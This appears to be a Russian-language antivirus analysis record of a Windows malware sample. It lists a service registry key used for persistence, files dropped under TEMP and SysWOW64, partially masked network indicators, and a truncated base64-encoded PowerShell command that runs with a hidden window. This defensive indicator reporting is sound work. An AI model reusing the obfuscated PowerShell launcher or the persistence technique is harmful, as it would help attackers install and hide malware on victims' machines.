Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wevtapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wevtapi] 'ImagePath' = '"%WINDIR%\SysWOW64\label\wevtapi.exe"'
- 'wevtapi' "%WINDIR%\SysWOW64\label\wevtapi.exe"
- 'wevtapi' %WINDIR%\SysWOW64\label\wevtapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEADYAegBfADgAMAB1AD0AKAAnAE0ANAB0AHIAJwArACcAbABsAGoAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwATwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...
- %TEMP%\office2019\ebx_b2iy.exe
- %WINDIR%\syswow64\label\wevtapi.exe
- %TEMP%\office2019\ebx_b2iy.exe в %WINDIR%\syswow64\label\wevtapi.exe
- '18#.#0.61.163':443
- http://ta#o.cl/resumen-uso-inodos/2/
- http://18#.##.61.163:443/WNnFrZwuuX50/96atSQO/jrQrcEKZFyHqMjOJ/ via 18#.#0.61.163
- DNS ASK ta#o.cl
- '%TEMP%\office2019\ebx_b2iy.exe'
- '%WINDIR%\syswow64\label\wevtapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEADYAegBfADgAMAB1AD0AKAAnAE0ANAB0AHIAJwArACcAbABsAGoAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwATwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...' (со скрытым окном)